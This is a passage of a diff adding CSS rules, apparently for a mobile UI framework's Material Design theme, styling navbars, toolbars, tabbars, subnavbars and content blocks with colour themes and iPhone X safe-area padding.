+.md .color-theme-yellow.navbar { + background: #ffeb3b; +} +.md .color-theme-orange .navbar, +.md .color-theme-orange.navbar { + background: #ff9800; +} +.md .color-theme-gray .navbar, +.md .color-theme-gray.navbar { + background: #9e9e9e; +} +.md .color-theme-white .navbar, +.md .color-theme-white.navbar { + background: #ffffff; +} +.md .color-theme-black .navbar, +.md .color-theme-black.navbar { + background: #000000; +} +.md .navbar.color-red { + background: #f44336; +} +.md .navbar.color-green { + background: #4caf50; +} +.md .navbar.color-blue { + background: #2196f3; +} +.md .navbar.color-pink { + background: #e91e63; +} +.md .navbar.color-yellow { + background: #ffeb3b; +} +.md .navbar.color-orange { + background: #ff9800; +} +.md .navbar.color-gray { + background: #9e9e9e; +} +.md .navbar.color-white { + background: #ffffff; +} +.md .navbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-left .navbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-right .navbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.md .toolbar { + background: #2196f3; + height: 48px; + color: #fff; + font-size: 14px; + top: 0; +} +.md .toolbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar.no-shadow:after { + display: none; +} +.md .toolbar a { + color: #fff; +} +.md .toolbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + line-height: 48px; + height: 48px; +} +.md .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .toolbar a.link i + span, +.md .toolbar a.link i + i, +.md .toolbar a.link span + i, +.md .toolbar a.link span + span { + margin-left: 8px; +} +.md .toolbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .toolbar-inner { + overflow: hidden; +} +.md .tabbar a.link, +.md .tabbar-labels a.link, +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + padding-left: 0; + padding-right: 0; + font-size: 14px; + text-transform: uppercase; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .tabbar i.icon, +.md .tabbar-labels i.icon { + height: 24px; +} +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + overflow: hidden; + color: rgba(255, 255, 255, 0.7); + position: relative; +} +.md .tabbar a.tab-link.tab-link-active, +.md .tabbar-labels a.tab-link.tab-link-active, +.md .tabbar a.tab-link.active-state, +.md .tabbar-labels a.tab-link.active-state { + color: #ffffff; +} +.md .tabbar .tab-link-highlight, +.md .tabbar-labels .tab-link-highlight { + position: absolute; + bottom: 0; + height: 2px; + background: #fff; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + left: 0; +} +.md .toolbar-bottom-md, +.md .messagebar { + top: auto !important; + bottom: 0 !important; +} +.md .toolbar-bottom-md:after, +.md .messagebar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + bottom: 100%; + height: 10px; + top: auto; + pointer-events: none; + background: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar-bottom-md .tab-link-highlight, +.md .messagebar .tab-link-highlight { + bottom: auto; + top: 0; +} +.md .tabbar-labels { + height: 72px; +} +.md .tabbar-labels a.tab-link, +.md .tabbar-labels a.link { + padding-top: 12px; + padding-bottom: 12px; +} +.md .tabbar-labels .tabbar-label { + margin-top: 10px; + max-width: 100%; + overflow: hidden; +} +.md .tabbar-labels.toolbar-bottom-md { + height: 56px; +} +.md .tabbar-labels.toolbar-bottom-md a.tab-link, +.md .tabbar-labels.toolbar-bottom-md a.link { + padding-top: 7px; + padding-bottom: 7px; +} +.md .tabbar-labels.toolbar-bottom-md .tabbar-label { + text-transform: none; + line-height: 1.2; + font-weight: normal; + letter-spacing: 0; +} +.md .tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .tabbar-scrollable a.tab-link, +.md .tabbar-scrollable a.link { + padding: 0 16px; +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 48px; +} +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 72px; +} +.md .toolbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .toolbar-hidden:after { + display: none; +} +.md .toolbar-hidden.toolbar-bottom-md, +.md .toolbar-hidden.messagebar { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 56px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 104px; +} +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 128px; +} +.md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -104px, 0); + transform: translate3d(0, -104px, 0); +} +.md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md) { + -webkit-transform: translate3d(0, -128px, 0); + transform: translate3d(0, -128px, 0); +} +.md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -56px, 0); + transform: translate3d(0, -56px, 0); +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 64px; + } + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 112px; + } + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 136px; + } + .md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -64px, 0); + transform: translate3d(0, -64px, 0); + } + .md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -112px, 0); + transform: translate3d(0, -112px, 0); + } + .md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -136px, 0); + transform: translate3d(0, -136px, 0); + } +} +.md .toolbar-bottom-md ~ * .page-content, +.md .toolbar-bottom-md ~ .page-content, +.md .messagebar ~ * .page-content, +.md .messagebar ~ .page-content { + padding-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: 56px; +} +.md .toolbar-transitioning, +.md .navbar-transitioning + .toolbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .color-theme-red .toolbar:not(.messagebar), +.md .color-theme-red.toolbar:not(.messagebar) { + background: #f44336; +} +.md .color-theme-green .toolbar:not(.messagebar), +.md .color-theme-green.toolbar:not(.messagebar) { + background: #4caf50; +} +.md .color-theme-blue .toolbar:not(.messagebar), +.md .color-theme-blue.toolbar:not(.messagebar) { + background: #2196f3; +} +.md .color-theme-pink .toolbar:not(.messagebar), +.md .color-theme-pink.toolbar:not(.messagebar) { + background: #e91e63; +} +.md .color-theme-yellow .toolbar:not(.messagebar), +.md .color-theme-yellow.toolbar:not(.messagebar) { + background: #ffeb3b; +} +.md .color-theme-orange .toolbar:not(.messagebar), +.md .color-theme-orange.toolbar:not(.messagebar) { + background: #ff9800; +} +.md .color-theme-gray .toolbar:not(.messagebar), +.md .color-theme-gray.toolbar:not(.messagebar) { + background: #9e9e9e; +} +.md .color-theme-white .toolbar:not(.messagebar), +.md .color-theme-white.toolbar:not(.messagebar) { + background: #ffffff; +} +.md .color-theme-black .toolbar:not(.messagebar), +.md .color-theme-black.toolbar:not(.messagebar) { + background: #000000; +} +.md .toolbar:not(.messagebar).color-red { + background: #f44336; +} +.md .toolbar:not(.messagebar).color-green { + background: #4caf50; +} +.md .toolbar:not(.messagebar).color-blue { + background: #2196f3; +} +.md .toolbar:not(.messagebar).color-pink { + background: #e91e63; +} +.md .toolbar:not(.messagebar).color-yellow { + background: #ffeb3b; +} +.md .toolbar:not(.messagebar).color-orange { + background: #ff9800; +} +.md .toolbar:not(.messagebar).color-gray { + background: #9e9e9e; +} +.md .toolbar:not(.messagebar).color-white { + background: #ffffff; +} +.md .toolbar:not(.messagebar).color-black { + background: #000000; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) { + height: calc(48px + constant(safe-area-inset-top)); + height: calc(48px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + height: auto; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + bottom: 0; + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels { + height: calc(72px + constant(safe-area-inset-top)); + height: calc(72px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar-bottom-md, +.md.device-iphone-x .view > .toolbar-bottom-md, +.md.device-iphone-x .page > .toolbar-bottom-md, +.md.device-iphone-x .popup > .toolbar-bottom-md, +.md.device-iphone-x .panel > .toolbar-bottom-md, +.md.device-iphone-x .login-screen > .toolbar-bottom-md { + height: calc(48px + constant(safe-area-inset-bottom)); + height: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .views > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .view > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .page > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .popup > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .panel > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar-bottom-md .toolbar-inner { + height: auto; + top: 0; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .views > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .view > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .page > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .popup > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .panel > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar-bottom-md.tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md ~ .page-content, +.md.device-iphone-x .messagebar ~ * .page-content, +.md.device-iphone-x .messagebar ~ .page-content { + padding-bottom: calc(48px + constant(safe-area-inset-bottom)); + padding-bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-left .toolbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-right .toolbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { + position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.md .subnavbar { + height: 48px; + background: #2196f3; + color: #fff; +} +.md .subnavbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .subnavbar.no-shadow:after { + display: none; +} +.md .subnavbar .title { + margin: 0 16px; + font-size: 20px; + line-height: 48px; + display: inline-block; + text-align: left; + font-weight: 500; +} +.md .subnavbar .title:first-child { + margin-left: 56px; +} +.md .subnavbar .right { + margin-left: auto; +} +.md .subnavbar .right:first-child { + right: 16px; +} +.md .subnavbar a { + color: inherit; +} +.md .subnavbar a.link { + line-height: 48px; + height: 48px; + min-width: 48px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; +} +.md .subnavbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .subnavbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .subnavbar a.icon-only { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + min-width: 0; +} +.md .subnavbar-inner { + padding: 0 16px; +} +.md .subnavbar-inner > a.link:first-child { + margin-left: -16px; +} +.md .subnavbar-inner > a.link:last-child { + margin-right: -16px; +} +.md .subnavbar ~ * .page-content, +.md .subnavbar ~ .page-content, +.md .page-with-subnavbar .page-content { + padding-top: 48px; +} +.md .navbar ~ .subnavbar ~ .page-content, +.md .navbar ~ .subnavbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar ~ .page-content, + .md .navbar ~ .subnavbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 112px; + } +} +.md .navbar ~ .subnavbar, +.md .navbar ~ * .subnavbar, +.md .page-with-subnavbar .navbar ~ .subnavbar, +.md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar, + .md .navbar ~ * .subnavbar, + .md .page-with-subnavbar .navbar ~ .subnavbar, + .md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 64px; + } +} +.md .color-theme-red .subnavbar, +.md .color-theme-red.subnavbar { + background: #f44336; +} +.md .color-theme-green .subnavbar, +.md .color-theme-green.subnavbar { + background: #4caf50; +} +.md .color-theme-blue .subnavbar, +.md .color-theme-blue.subnavbar { + background: #2196f3; +} +.md .color-theme-pink .subnavbar, +.md .color-theme-pink.subnavbar { + background: #e91e63; +} +.md .color-theme-yellow .subnavbar, +.md .color-theme-yellow.subnavbar { + background: #ffeb3b; +} +.md .color-theme-orange .subnavbar, +.md .color-theme-orange.subnavbar { + background: #ff9800; +} +.md .color-theme-gray .subnavbar, +.md .color-theme-gray.subnavbar { + background: #9e9e9e; +} +.md .color-theme-white .subnavbar, +.md .color-theme-white.subnavbar { + background: #ffffff; +} +.md .color-theme-black .subnavbar, +.md .color-theme-black.subnavbar { + background: #000000; +} +.md .subnavbar.color-red { + background: #f44336; +} +.md .subnavbar.color-green { + background: #4caf50; +} +.md .subnavbar.color-blue { + background: #2196f3; +} +.md .subnavbar.color-pink { + background: #e91e63; +} +.md .subnavbar.color-yellow { + background: #ffeb3b; +} +.md .subnavbar.color-orange { + background: #ff9800; +} +.md .subnavbar.color-gray { + background: #9e9e9e; +} +.md .subnavbar.color-white { + background: #ffffff; +} +.md .subnavbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +.md .block { + margin: 32px 0; + padding: 0 16px; +} +.md .block-title { + color: rgba(0, 0, 0, 0.54); + margin: 32px 16px 16px; + line-height: 16px; + font-weight: 500; +} +.md .block-title + .list, +.md .block-title + .block, +.md .block-title + .card, 